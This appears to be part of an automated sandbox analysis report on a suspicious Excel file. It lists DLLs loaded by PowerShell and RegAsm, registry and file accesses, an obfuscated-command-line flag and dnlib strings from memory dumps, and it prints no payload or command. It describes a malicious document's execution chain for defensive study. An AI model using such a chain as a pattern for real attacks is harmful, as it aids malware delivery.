Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: shcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rpcrtremote.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: AWD 490104998518.xls

Static file information: File size 1302528 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Obfuscated command line found

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
